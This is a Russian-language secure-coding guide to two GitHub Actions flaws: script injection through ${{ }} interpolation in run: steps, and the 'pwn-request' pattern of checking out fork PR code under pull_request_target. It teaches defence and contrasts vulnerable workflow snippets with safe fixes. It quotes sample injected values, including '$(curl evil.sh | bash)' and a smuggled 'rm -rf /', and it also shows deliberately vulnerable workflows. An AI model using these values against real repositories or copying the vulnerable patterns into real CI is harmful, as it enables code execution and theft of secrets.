Недоверенный ввод в CI: script injection через интерполяцию контекста и pwn-request на pull_request_target

Script injection: ${{ ... }}, что бежит как код

GitHub Actions вычисляет выражения ${{ ... }} и подставляет результат в текст воркфлоу до того, как шелл раннера видит шаг. Для шага run: это значит, что выражение вклеивается в шелл-скрипт как сырой текст, затем шелл парсит всё целиком. Если значение выражения атакующе-управляемо, атакующий пишет шелл:

# УЯЗВИМО — заголовок текстово подставляется в скрипт
- run: echo "Issue: ${{ github.event.issue.title }}"

Заголовок issue вида $(curl evil.sh | bash) или "; rm -rf / # становится частью выполняемой команды. Опасные контексты — всё, что не-коллаборатор может задать: github.event.issue.title, .issue.body, .pull_request.title, .pull_request.body, .comment.body, .review.body, имена head-ref и веток, сообщения коммитов и имена авторов из PR. Ничему из этого нельзя доверять.

Фикс — разорвать путь подстановки-в-код: передай недоверенное значение через переменную окружения и ссылайся на неё с шелл-квотингом, чтобы это были данные, что шелл читает, никогда не текст, что шелл парсит:

# БЕЗОПАСНО — значение приходит как env-переменная; шелл никогда не парсит его как код
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "Issue: $TITLE"

Теперь $TITLE раскрывается шеллом как значение переменной; даже заголовок, полный $(...) и бэктиков, — инертная строка. Биндинг env: — это граница доверия: GitHub задаёт значение переменной out-of-band, а тело скрипта — фиксированное в момент авторинга — лишь ссылается на неё. (Квотируй: "$TITLE".) То же правило покрывает actions/github-script и JS: используй process.env.TITLE или context.payload, никогда не конкатенируй payload в вычисляемый код строкой.

Pwn-request: pull_request_target плюс checkout PR

Если script injection — самая частая уязвимость в GitHub Actions, то pwn-request — самая тяжёлая: она даёт автору форка произвольное выполнение кода с секретами базового репо. Когда видишь pull_request_target в воркфлоу, это первый сигнал тревоги — и дизайн события, и его опасность определяются одним различием.

Есть два PR-триггерных события, и разница между ними — это вся уязвимость. pull_request из форка бежит с read-only токеном и без секретов — безопасно гонять недоверенный PR-код, ведь он ничего не может. pull_request_target бежит в контексте базового репозитория: он получает полные секреты и read/write GITHUB_TOKEN, и — критически — по дефолту чекаутит воркфлоу базовой ветки, а не PR-а. Это намеренно: позволяет CI форк-PR-а лейблить, комментить или применять автоматизацию с привилегиями, используя доверенный код воркфлоу базового репо.

Уязвимость — pwn-request — это checkout и запуск PR-кода внутри этого привилегированного события:

# УЯЗВИМО — pwn-request: недоверенный PR head бежит с секретами + write-токеном
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # код атакующего
      - run: npm install && npm test                        # гоняет его с полными секретами

npm install запускает lifecycle-скрипты; npm test запускает тест-файлы PR-а — всё авторства атакующего, теперь выполняемое с секретами базового репо и write-токеном. Атакующий открывает PR из форка, что добавляет вредоносный postinstall-скрипт, и тот эксфильтрует каждый секрет и пушит в репо. Комбинация — это ловушка: секреты и write-токен привилегированного события и checkout недоверенного кода в него.

Безопасные паттерны: делай привилегированную работу в pull_request_target лишь на доверенном, фиксированном коде воркфлоу (никогда не чекаутя PR head); или раздели — гоняй недоверенный build/test в job-е pull_request (без секретов), а отдельный, несущий-секреты job пусть действует по его результатам без выполнения PR-кода. Если обязан чекаутить PR head под pull_request_target, делай это без секретов в scope и без write-токена, считая его полностью враждебным.